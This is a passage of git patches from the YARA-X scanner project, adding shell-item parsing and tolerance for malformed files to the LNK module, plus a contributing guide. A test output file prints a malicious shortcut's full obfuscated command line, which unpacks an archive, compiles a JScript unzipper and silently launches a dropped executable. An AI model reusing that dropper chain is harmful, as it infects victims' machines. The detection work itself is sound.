"Digital signatures present in the MSI file."), ("olecf.Olecf", 1, "True if file is an OLE CF file."), ("olecf.Olecf", 2, "Streams contained in the OLE CF file."), ("pe.Certificate", 1, "Issuer of this individual certificate."), From cb7fb566b5e3a65cf8574e665e3b2ddc57084e7e Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Fri, 24 Jul 2026 09:36:23 +0200 Subject: [PATCH 007/259] style: run `cargo fmt`. --- capi/src/tests.rs | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/capi/src/tests.rs b/capi/src/tests.rs index 7d9b6f3d8..149a68e69 100644 --- a/capi/src/tests.rs +++ b/capi/src/tests.rs @@ -19,13 +19,12 @@ use crate::{ yrx_rules_serialize, yrx_scanner_clear_profiling_data, yrx_scanner_create, yrx_scanner_destroy, yrx_scanner_fast_scan, yrx_scanner_finish, yrx_scanner_iter_slowest_rules, yrx_scanner_max_matches_per_pattern, - yrx_scanner_on_console_log, - yrx_scanner_on_matching_rule, yrx_scanner_scan, yrx_scanner_scan_block, - yrx_scanner_scan_file, yrx_scanner_set_global_bool, - yrx_scanner_set_global_float, yrx_scanner_set_global_int, - yrx_scanner_set_global_json, yrx_scanner_set_global_str, - yrx_scanner_set_module_data, yrx_scanner_set_module_output, - yrx_scanner_set_timeout, + yrx_scanner_on_console_log, yrx_scanner_on_matching_rule, + yrx_scanner_scan, yrx_scanner_scan_block, yrx_scanner_scan_file, + yrx_scanner_set_global_bool, yrx_scanner_set_global_float, + yrx_scanner_set_global_int, yrx_scanner_set_global_json, + yrx_scanner_set_global_str, yrx_scanner_set_module_data, + yrx_scanner_set_module_output, yrx_scanner_set_timeout, }; use std::ffi::{CStr, c_char, c_void}; From aae0a1ea73e8bad84d9237cff2073351f2d2a88d Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Mon, 27 Jul 2026 10:23:40 +0200 Subject: [PATCH 008/259] chore: add `CONTRIBUTING.md` with instructions about how to contribute to the project. Closes #721. --- CONTRIBUTING.md | 102 ++++++++++++++++++++++++++++++++++++++++++++++++ CONTRIBUTORS | 5 ++- README.md | 6 ++- 3 files changed, 110 insertions(+), 3 deletions(-) create mode 100644 CONTRIBUTING.md diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 000000000..add3dc6ff --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,102 @@ +# Contributing to YARA-X + +Thank you for your interest in contributing to YARA-X! We welcome contributions +from the community, whether it's reporting bugs, improving documentation, or +submitting pull requests. + +## Contributor License Agreement (CLA) + +YARA-X is a project maintained by VirusTotal (a subsidiary of Google). +Contributions to this project must be accompanied by a Contributor License +Agreement (CLA). + +### Signing the CLA + +Before we can accept and merge your pull requests, you will need to sign a +Contributor License Agreement: + +* **Individual CLA:** If you are contributing as an individual, please complete + the online [Individual Contributor License Agreement](https://cla.developers.google.com/about). +* **Corporate CLA:** If you are contributing on behalf of your employer, your + organization must sign a [Corporate Contributor License Agreement](https://cla.developers.google.com/about). + +When you open a pull request, an automated status check (`cla/google`) will +verify whether you have signed the CLA. If you have not signed it yet, follow +the link provided by the status check to complete the agreement. + +### `CONTRIBUTORS` and `AUTHORS` Files + +* **`CONTRIBUTORS`**: Lists individuals who are authorized to contribute code + to the repository. Names and email addresses are added after the individual + or their organization agrees to the CLA. +* **`AUTHORS`**: Lists copyright holders for the repository (such as Google Inc. + or corporate contributors). + +--- + +## Code Style & Formatting + +We adhere to standard Rust coding conventions and enforce code quality checks +in CI: + +1. **Formatting (`rustfmt`):** + * Code formatting is configured via [`rustfmt.toml`](rustfmt.toml) (e.g. `max_width = 79`). + * Format your code before submitting a PR: + ```bash + cargo fmt --all + ``` + * Verify formatting compliance locally: + ```bash + cargo fmt --all --check + ``` + +2. **Linting (`clippy`):** + * We use Clippy to ensure clean, idiomatic Rust code. + * Ensure there are no Clippy warnings or errors before submitting your PR: + ```bash + cargo clippy --workspace --tests --no-deps -- --deny clippy::all + ``` + +3. **Style References:** + * Refer to the canonical [Rust Style Guide](https://doc.rust-lang.org/style-guide/) for style rules. + +--- + +## Development & Contribution Workflow + +Follow these steps to contribute code or fixes: + +1. **Fork & Clone:** + * Fork the [YARA-X repository](https://github.com/VirusTotal/yara-x) on GitHub and clone your fork locally. + +2. **Create a Feature Branch:** + * Create a branch for your changes: + ```bash + git checkout -b feature/my-changes + ``` + +3. **Make Your Changes & Test:** + * Implement your feature, bug fix, or documentation update. + * Run the test suite: + ```bash + cargo test --workspace + ``` + +4. **Verify Code Quality:** + * Run formatting and linter checks: + ```bash + cargo fmt --all --check + cargo clippy --workspace --tests --no-deps -- --deny clippy::all + ``` + +5. **Submit a Pull Request:** + * Push your branch to your GitHub fork and open a Pull Request against `main`. + * Ensure you have signed the Google CLA so the `cla/google` status check passes. + +--- + +## Reporting Issues + +If you encounter bugs or have feature requests, please check existing issues +before opening a new one. Feel free to [open a new issue](https://github.com/VirusTotal/yara-x/issues/new) +with detailed reproduction steps or feature context. diff --git a/CONTRIBUTORS b/CONTRIBUTORS index 40a71c8c5..e5b146992 100644 --- a/CONTRIBUTORS +++ b/CONTRIBUTORS @@ -4,6 +4,8 @@ # lists people. For example, Google employees are listed here # but not in AUTHORS, because Google holds the copyright. # +# For general contribution instructions, see CONTRIBUTING.md. +# # The submission process automatically checks to make sure # that people submitting code are listed in this file (by email address). # @@ -11,8 +13,7 @@ # the individual or the individual's organization has agreed to # the appropriate Contributor License Agreement, found here: # -# http://code.google.com/legal/individual-cla-v1.0.html -# http://code.google.com/legal/corporate-cla-v1.0.html +# https://cla.developers.google.com/about # # The agreement for individuals can be filled out on the web. # diff --git a/README.md b/README.md index d28a42583..55242955b 100644 --- a/README.md +++ b/README.md @@ -66,4 +66,8 @@ battle-tested. Please test YARA-X and don’t hesitate to [open an issue](https://github.com/VirusTotal/yara-x/issues/new) if you -find a bug or some feature that you want to see implemented. \ No newline at end of file +find a bug or some feature that you want to see implemented. + +## Contributing + +Contributions to YARA-X are welcome! For details on the Google Contributor License Agreement (CLA) requirement, code style conventions, and how to submit pull requests, please read [CONTRIBUTING.md](CONTRIBUTING.md). \ No newline at end of file From 832603bbf484165d0629339462a2ad364522e564 Mon Sep 17 00:00:00 2001 From: Michal Krulich <115186096+MichaelTheSynthCat@users.noreply.github.com> Date: Wed, 29 Jul 2026 09:56:03 +0200 Subject: [PATCH 009/259] feat(lnk): parse ShellItems and malformed sections (#722) Improvements in LNK module: - parse Shell Items - parse sections in LNK files with invalid section sizes (abused by CVE-2010-2568 exploits) --- The Windows Shell Item format isn't officially standardized by Microsoft and therefore community-made documents are the best available source of truth: - [libfwsi](https://github.com/libyal/libfwsi/blob/main/documentation/Windows%20Shell%20Item%20format.asciidoc) - [LnkParse3](https://github.com/Matmaus/LnkParse3/tree/master) - referenced by @plusvic in the TODO comment. Shell item types differ in their internal structure while some parts of them are not fully understood but some of them contain encoded valuable data (filepaths, URLs, which are usually UTF-16 encoded) that could have their own field in the lnk module proto output to improve user experience. I would like to open a discussion especially about the output of the LNK module regarding the shell items: - which shell item types should we recognize - which fields of a certain shell item type could we expose in LNK proto and how to include them there I have implemented yet parsing of some basic shell item types and exposed the most valuable fields in the proto. --------- Co-authored-by: Victor M. Alvarez --- lib/src/modules/lnk/parser.rs | 220 +++++- .../tests/testdata/lnk-cve-2010-2568.in.zip | Bin 0 -> 666 bytes .../lnk/tests/testdata/lnk-cve-2010-2568.out | 15 + .../lnk/tests/testdata/lnk-extradata-1.out | 24 +- .../lnk/tests/testdata/lnk-extradata-2.out | 18 +- .../lnk/tests/testdata/lnk-malformed-1.out | 15 +- .../lnk/tests/testdata/lnk-malformed-2.out | 18 +- .../lnk/tests/testdata/lnk-network.out | 12 +- .../lnk/tests/testdata/lnk-overlay.out | 15 +- .../lnk/tests/testdata/lnk-standard.out | 15 +- .../tests/testdata/lnk-unknown-item.in.zip | Bin 0 -> 576 bytes .../lnk/tests/testdata/lnk-unknown-item.out | 37 + lib/src/modules/protos/generated/lnk.rs | 741 +++++++++++++++++- lib/src/modules/protos/lnk.proto | 76 ++ proto/src/yaml.rs | 5 +- site/content/docs/modules/lnk.md | 62 ++ 16 files changed, 1212 insertions(+), 61 deletions(-) create mode 100644 lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.in.zip create mode 100644 lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.out create mode 100644 lib/src/modules/lnk/tests/testdata/lnk-unknown-item.in.zip create mode 100644 lib/src/modules/lnk/tests/testdata/lnk-unknown-item.out diff --git a/lib/src/modules/lnk/parser.rs b/lib/src/modules/lnk/parser.rs index d468ff321..e7c67e695 100644 --- a/lib/src/modules/lnk/parser.rs +++ b/lib/src/modules/lnk/parser.rs @@ -4,7 +4,7 @@ use std::num::NonZeroUsize; use nom::bytes::complete::{take, take_while}; use nom::combinator::{cond, map_res, verify}; -use nom::multi::{fold_many0, length_value, many_till}; +use nom::multi::{fold_many0, many_till}; use nom::number::complete::{le_u16, le_u32, le_u64, le_u128}; use nom::{Err, Input, ToUsize}; use nom::{IResult, Needed, Parser}; @@ -13,7 +13,9 @@ use uuid::Uuid; type NomError<'a> = nom::error::Error<&'a [u8]>; -use crate::modules::protos::lnk::{DriveType, Lnk, ShowCommand, TrackerData}; +use crate::modules::protos::lnk::{ + DriveType, Lnk, ShellItem, ShellItemType, ShowCommand, TrackerData, +}; /// A Windows LNK file parser. pub struct LnkParser { @@ -43,7 +45,7 @@ impl LnkParser { let total_size = input.len(); // Parse the header. let ( - mut input, + input, ( _header_size, _clsid, @@ -98,6 +100,28 @@ impl LnkParser { let unicode = link_flags & Self::IS_UNICODE != 0; + // Parse the sections that come after the header. Malformed or + // malicious files (e.g. CVE-2010-2568 exploits) may declare structure + // sizes that exceed the actual file, causing this to fail. In that + // case the header metadata that was already extracted is still + // returned, instead of discarding everything and reporting the file + // as not being a LNK file. + let _ = self.parse_body(input, link_flags, unicode, total_size); + + Ok(mem::take(&mut self.result)) + } + + /// Parses the sections that follow the header: the link target ID list, + /// the link info, the string data, and the extra data. Any of these can + /// fail on malformed files, in which case the error is returned and the + /// caller keeps whatever was parsed so far. + fn parse_body<'a>( + &mut self, + mut input: &'a [u8], + link_flags: u32, + unicode: bool, + total_size: usize, + ) -> IResult<&'a [u8], ()> { // Parse the link target list (LINKTARGET_IDLIST), if present. // // IDLIST = *ITEMID TERMINALID @@ -171,7 +195,7 @@ impl LnkParser { self.result.overlay_size = overlay.len().try_into().ok(); } - Ok(mem::take(&mut self.result)) + Ok((input, ())) } } @@ -192,32 +216,173 @@ impl LnkParser { &mut self, ) -> impl FnMut(&[u8]) -> IResult<&[u8], ()> + '_ { move |input: &[u8]| { - let (remainder, _) = length_value( - le_u16, - many_till( - self.parse_link_target_id(), - // An item ID with size 0 is the terminal one. - verify(le_u16, |size| *size == 0), - ), - ) - .parse(input)?; + // The list starts with a 2-byte size for the whole IDList (the + // sequence of ItemIDs plus the terminal ID). The size does not + // include the size field itself. + let (after_size, list_size) = le_u16(input)?; + + // Clamp the declared size to what is actually available. Some + // malformed or malicious files (e.g. CVE-2010-2568 exploits) + // declare a size larger than the file. Being lenient here allows + // the shell items to still be parsed. + let list_size = min(list_size as usize, after_size.len()); + let (remainder, mut list) = take(list_size)(after_size)?; + + // Iterate over the ItemIDs until the terminal ID (an item with + // size 0) or the end of the list is found. + while list.len() >= 2 { + let (rest, item_size) = le_u16(list)?; + // An item ID with size 0 is the terminal one. + if item_size == 0 { + break; + } + // The size includes the 2-byte size field itself. Clamp the + // item's data to what is available. + let data_len = + min((item_size as usize).saturating_sub(2), rest.len()); + let (after_item, item_data) = take(data_len)(rest)?; + self.parse_shell_item(item_data); + list = after_item; + } Ok((remainder, ())) } } - fn parse_link_target_id( - &mut self, - ) -> impl FnMut(&[u8]) -> IResult<&[u8], ()> + '_ { - move |input: &[u8]| { - // Each item ID starts with a 2-bytes length that includes - // the length itself its data. - let (remainder, _data) = Self::length_data(le_u16).parse(input)?; - // TODO(vmalvarez): Implement the parsing of link targets if - // there's enough demand for it. - // A possible reference implementation is: - // https://github.com/Matmaus/LnkParse3/blob/master/LnkParse3/target_factory.py#L1 - Ok((remainder, ())) + /// Maps a shell item class type indicator to a [`ShellItemType`] + /// category. The mapping follows the type-indicator table in the + /// reverse-engineered shell item format documentation and the LnkParse3 + /// implementation: the volume (0x20-0x2F), file entry (0x30-0x3F) and + /// network location (0x40-0x4F) items are identified by masking the class + /// type indicator with 0x70, while the remaining categories are matched + /// exactly. Returns `None` when the class type indicator is not + /// recognized. + fn classify_shell_item(class: u8) -> Option { + match class & 0x70 { + 0x20 => Some(ShellItemType::VOLUME), + 0x30 => Some(ShellItemType::FILE_ENTRY), + 0x40 => Some(ShellItemType::NETWORK_LOCATION), + _ => match class { + 0x00 => Some(ShellItemType::CONTROL_PANEL_CPL), + 0x01 => Some(ShellItemType::CONTROL_PANEL_CATEGORY), + 0x1E | 0x1F => Some(ShellItemType::ROOT_FOLDER), + 0x52 => Some(ShellItemType::COMPRESSED_FOLDER), + 0x61 => Some(ShellItemType::URI), + 0x70 | 0x71 => Some(ShellItemType::CONTROL_PANEL), + 0x72 => Some(ShellItemType::PRINTERS), + 0x73 => Some(ShellItemType::COMMON_PLACES_FOLDER), + 0x74 => Some(ShellItemType::USERS_FILES_FOLDER), + _ => None, + }, + } + } + + /// Parses a single shell item (the `Data` field of an `ItemID`, without + /// the leading `ItemIDSize` field) and appends the extracted information + /// to the result. + /// + /// The `LinkTargetIDList` and `ItemID` container structures are defined in + /// the Microsoft [MS-SHLLINK] specification (sections 2.2 and 2.2.2). + /// However, MS-SHLLINK explicitly leaves the internal layout of each + /// `ItemID`'s `Data` field undefined: it states that the data "is defined + /// by the source that corresponds to the location in the target namespace" + /// (i.e. by the shell folder / namespace extension that produced it), and + /// Microsoft does not publish a specification for those structures. + /// + /// The class type indicator values dispatched on below (0x00 control panel + /// CPL file, 0x1E/0x1F root folder, 0x20-0x2F volume, 0x30-0x3F file entry, + /// 0x40-0x4F network location), the `& 0x70` masking, and the per-type + /// field offsets therefore come from the community's reverse-engineered + /// documentation of the shell item format, primarily [libfwsi] by Joachim + /// Metz. They are decoded on a best-effort basis. + /// + /// [MS-SHLLINK]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943 + /// [libfwsi]: https://github.com/libyal/libfwsi/blob/main/documentation/Windows%20Shell%20Item%20format.asciidoc + fn parse_shell_item(&mut self, data: &[u8]) { + let class = match data.first() { + Some(class) => *class, + None => return, + }; + + let mut item = ShellItem::new(); + item.data = Some(data.get(1..).unwrap_or_default().to_vec()); + + item.item_type = Some( + Self::classify_shell_item(class) + .map(EnumOrUnknown::new) + .unwrap_or_else(|| EnumOrUnknown::from_i32(class as i32)), + ); + + match class { + // Control panel CPL file shell item. Contains the path to the CPL + // file, which is the payload abused by CVE-2010-2568. + 0x00 => { + item.cpl_file_path = Self::parse_cpl_file_path(data); + } + // Root folder shell item, carries a shell folder GUID. + 0x1E | 0x1F => { + item.root_folder_id = Self::parse_shell_guid(data); + } + _ => match class & 0x70 { + // Volume shell item. When the "has name" flag (0x01) is set it + // carries a volume name, otherwise a volume identifier (GUID). + 0x20 => { + if class & 0x01 != 0 { + item.volume_name = data + .get(1..21) + .map(|s| Self::parse_shell_string(s, false)); + } else { + item.volume_id = Self::parse_shell_guid(data); + } + } + // File entry shell item, carries the file or directory name. + 0x30 => { + let unicode = class & 0x04 != 0; + item.file_entry_name = data + .get(12..) + .map(|s| Self::parse_shell_string(s, unicode)); + } + // Network location shell item, carries a UNC path. + 0x40 => { + item.network_location = data + .get(3..) + .map(|s| Self::parse_shell_string(s, false)); + } + _ => {} + }, + } + + self.result.target_id_list.push(item); + } + + /// Parses the CPL file path of a control panel CPL file shell item. + fn parse_cpl_file_path(data: &[u8]) -> Option { + // The strings can be stored either in ASCII or UTF-16. They are told + // apart by inspecting byte 10: in the UTF-16 layout the strings start + // at offset 22 and byte 10 is the null high byte of a character, while + // in the ASCII layout the string starts at offset 10. + let unicode = *data.get(10)? == 0x00; + if unicode { + data.get(22..).map(|s| Self::parse_shell_string(s, true)) + } else { + data.get(10..).map(|s| Self::parse_shell_string(s, false)) + } + } + + /// Parses a shell folder GUID located right after the class type + /// indicator and its sort index / flags byte (offset 2, 16 bytes). + fn parse_shell_guid(data: &[u8]) -> Option { + data.get(2..18) + .and_then(|s| Uuid::from_slice_le(s).ok()) + .map(|uuid| uuid.to_string()) + } + + /// Parses a null-terminated string in either ASCII or UTF-16 encoding. + fn parse_shell_string(input: &[u8], unicode: bool) -> String { + if unicode { + Self::parse_utf16_string(input).map(|(_, s)| s).unwrap_or_default() + } else { + Self::parse_string(input).map(|(_, s)| s).unwrap_or_default() } } @@ -582,7 +747,10 @@ mod tests { fn test_filetime_to_unix_timestamp() { assert_eq!(filetime_to_unix_timestamp(0), None); assert_eq!(filetime_to_unix_timestamp(116444736000000000), Some(0)); - assert_eq!(filetime_to_unix_timestamp(116444736000000000 + 10000000), Some(1)); + assert_eq!( + filetime_to_unix_timestamp(116444736000000000 + 10000000), + Some(1) + ); } #[test] diff --git a/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.in.zip b/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..c493d7d55f3979c56db34ae3738ad25fb6c4d138 GIT binary patch literal 666 zcmWIWW@Zs#U|`^2cp309rX}8T%N<4rhI6b83?d9N3^{q(y2)j!x<&?u2D(P3W)^yx zd7&Yk49r^}MP`9;X$3a}Bg+eB1_m(E8WLS}M1kk`d!P4*4$ru-U!~=@{7Nyg*?IEO zX+{DQa!=lT3m zjoObcGWUG?^V_Yq@xAcf!}>2Zr@h%LbY}-6*NpC+dTyR=XVWy;q$WO)l{C~#@)B-P zbK+f*7Ln_}+jT#OokId6@06d3v0d)3oDAN@UpoK6KiHt!im?yvj>Jr^zU-5%l5tU@k)cDVDp-8Q#l?D3n?p*JJ7nf(G}bFxOmYiNOa44( zu~c#C!sASj4;6iLPEnnmDAqKcakZYG0N>Qj6%}s|XPa8ho!gXDoc~~D%xhWRdA~hB z`1GnqPi{6i%u#LmYkO)_;CZh;;R|z4^-QW+uY2C~PSS+ymg!Qi=R+bBu5324xzx7v zTeOUc%$|2Q4&8s`kpC+2qx+T5+Jy!Z-Nyvux=(NZ%3=3kko~Z`;@1zscitR*vQ|xC zm(AjN-k*K\x00\x07\x00\x04\x00\xef\xbe&<\xb7\x8c&<\xb7\x8c&\x00\x00\x00\xb6\xb9\x00\x00\x00\x00\xb2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00e\x00a\x00z\x00i\x00p\x00.\x00e\x00x\x00e\x00\x00\x00\x1a\x00" + file_entry_name: "peazip.exe" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out b/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out index f5d675214..a5cc41243 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out @@ -18,4 +18,17 @@ tracker_data: droid_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" droid_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" droid_birth_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" - droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" \ No newline at end of file + droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3\x10\x00test\x00\x002\x00\x07\x00\x04\x00\xef\xbe,9e\xa3,9i\xa3&\x00\x00\x00\x03\x1e\x00\x00\x00\x00\xf5\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x14\x00" + file_entry_name: "test" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3 \x00a.txt\x004\x00\x07\x00\x04\x00\xef\xbe,9i\xa3,9i\xa3&\x00\x00\x00-n\x00\x00\x00\x00\x96\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00.\x00t\x00x\x00t\x00\x00\x00\x14\x00" + file_entry_name: "a.txt" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out b/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out index 75962f365..7c20c2501 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out @@ -8,4 +8,20 @@ icon_location: "C:\\Windows\\System32\\shell32.dll" icon_index: 1 show_command: MIN_NO_ACTIVE working_dir: "C:\\Windows\\System32 " -cmd_line_args: "/c \"set PATH=%windir%\\system32;%PATH% & (for /R \"%USERPROFILE%\" %f in (dokazatelstva.zip) do @IF EXIST %f (chcp 65001 | echo | set /p=\"import System;import System.IO;import System.IO.Compression;import System.Text;import System.Diagnostics;function Main(){var args:String[]=System.Environment.GetCommandLineArgs();Directory.CreateDirectory(args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + \"\\\\\" + (Convert.ToChar(100)+Convert.ToChar(99)+Convert.ToChar(118)+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)), args[2]);Process.Start(\"cmd.exe\", \"/C move \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \" \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \"_\");}Main();\">%TEMP%\\6DZX1ZJTGBDJ.a & for /f %j in (\'dir /b /s /a:-d /o:-n \"%SystemRoot%\\Microsoft.Net\\Framework\\*jsc.exe\"\') do @set \"_jsc=%j\" & for /L %i in (1,1,3) do @if exist \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" (^st^art \"\" /MIN \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" & exit) else (@if exist %TEMP%\\unzip.exe (%TEMP%\\unzip.exe \"%f\" \"%USERPROFILE%\\DXTGYWVO2MU7\") else (@if not exist %TEMP%\\unzip.exe_ (@if not exist %TEMP%\\unzip.exe (C:\\Windows\\system32\\forfiles.exe /P %SystemRoot% /M notepad.exe /C \"cmd /c %_jsc% /nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\\unzip.exe %TEMP%\\6DZX1ZJTGBDJ.a\")))) ))\"" \ No newline at end of file +cmd_line_args: "/c \"set PATH=%windir%\\system32;%PATH% & (for /R \"%USERPROFILE%\" %f in (dokazatelstva.zip) do @IF EXIST %f (chcp 65001 | echo | set /p=\"import System;import System.IO;import System.IO.Compression;import System.Text;import System.Diagnostics;function Main(){var args:String[]=System.Environment.GetCommandLineArgs();Directory.CreateDirectory(args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + \"\\\\\" + (Convert.ToChar(100)+Convert.ToChar(99)+Convert.ToChar(118)+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)), args[2]);Process.Start(\"cmd.exe\", \"/C move \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \" \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \"_\");}Main();\">%TEMP%\\6DZX1ZJTGBDJ.a & for /f %j in (\'dir /b /s /a:-d /o:-n \"%SystemRoot%\\Microsoft.Net\\Framework\\*jsc.exe\"\') do @set \"_jsc=%j\" & for /L %i in (1,1,3) do @if exist \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" (^st^art \"\" /MIN \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" & exit) else (@if exist %TEMP%\\unzip.exe (%TEMP%\\unzip.exe \"%f\" \"%USERPROFILE%\\DXTGYWVO2MU7\") else (@if not exist %TEMP%\\unzip.exe_ (@if not exist %TEMP%\\unzip.exe (C:\\Windows\\system32\\forfiles.exe /P %SystemRoot% /M notepad.exe /C \"cmd /c %_jsc% /nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\\unzip.exe %TEMP%\\6DZX1ZJTGBDJ.a\")))) ))\"" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x10\x00\x10\x10\x10\x00\x10\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\x00\x00" + file_entry_name: "Windows" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x10\x00\x10\x10\x10\x00\x10\x00S\x00y\x00s\x00t\x00e\x00m\x003\x002\x00\x00\x00" + file_entry_name: "System32" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x10\x00\x10\x10\x10\x00\x00\x00c\x00m\x00d\x00.\x00e\x00x\x00e\x00\x00\x00" + file_entry_name: "cmd.exe" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-network.out b/lib/src/modules/lnk/tests/testdata/lnk-network.out index 0c34357ec..27e062c73 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-network.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-network.out @@ -16,4 +16,14 @@ tracker_data: droid_volume_id: "d3575624-759e-423c-a55c-8b4ff424e1bc" droid_file_id: "9626757f-e43a-11ec-9776-0cdd24239e8a" droid_birth_volume_id: "d3575624-759e-423c-a55c-8b4ff424e1bc" - droid_birth_file_id: "9626757f-e43a-11ec-9776-0cdd24239e8a" \ No newline at end of file + droid_birth_file_id: "9626757f-e43a-11ec-9776-0cdd24239e8a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "Z:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "Z:\\" + - item_type: FILE_ENTRY + data: "\x00\x00l\x00\x00\x87O8I \x00calc.exe\x00\x00B\x00\t\x00\x04\x00\xef\xbe\xc5T1N\xc5T1N.\x00\x00\x00\x9cM\x01\x00\x00\x00\xb4\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x13P\x00c\x00a\x00l\x00c\x00.\x00e\x00x\x00e\x00\x00\x00\x18\x00" + file_entry_name: "calc.exe" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-overlay.out b/lib/src/modules/lnk/tests/testdata/lnk-overlay.out index 0e37af471..1d076ecb3 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-overlay.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-overlay.out @@ -20,4 +20,17 @@ tracker_data: droid_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" droid_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" droid_birth_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" - droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" \ No newline at end of file + droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3\x10\x00test\x00\x002\x00\x07\x00\x04\x00\xef\xbe,9e\xa3,9i\xa3&\x00\x00\x00\x03\x1e\x00\x00\x00\x00\xf5\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x14\x00" + file_entry_name: "test" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3 \x00a.txt\x004\x00\x07\x00\x04\x00\xef\xbe,9i\xa3,9i\xa3&\x00\x00\x00-n\x00\x00\x00\x00\x96\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00.\x00t\x00x\x00t\x00\x00\x00\x14\x00" + file_entry_name: "a.txt" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-standard.out b/lib/src/modules/lnk/tests/testdata/lnk-standard.out index bf9e08b98..f0a7ccb4b 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-standard.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-standard.out @@ -19,4 +19,17 @@ tracker_data: droid_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" droid_file_id: 